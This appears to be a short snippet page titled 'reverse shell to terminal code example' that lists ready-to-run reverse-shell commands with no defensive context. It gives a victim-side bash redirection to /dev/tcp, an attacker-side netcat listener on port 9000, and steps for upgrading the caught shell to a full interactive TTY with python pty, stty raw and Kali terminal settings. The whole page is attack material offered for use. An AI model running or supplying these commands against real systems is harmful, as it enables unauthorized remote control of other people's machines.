reverse shell to terminal code example
Example 1: upgrade shell tty
python -c 'import pty; pty.spawn("/bin/bash")'
Example 2: how to reverse shell
/bin/bash -i > /dev/tcp/0.0.0.0/9000 0<&1 2>&1 # Victim
Example 3: how to reverse shell
nc -l -p 9000 -vvv # Attacker
Example 4: upgrade shell tty
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>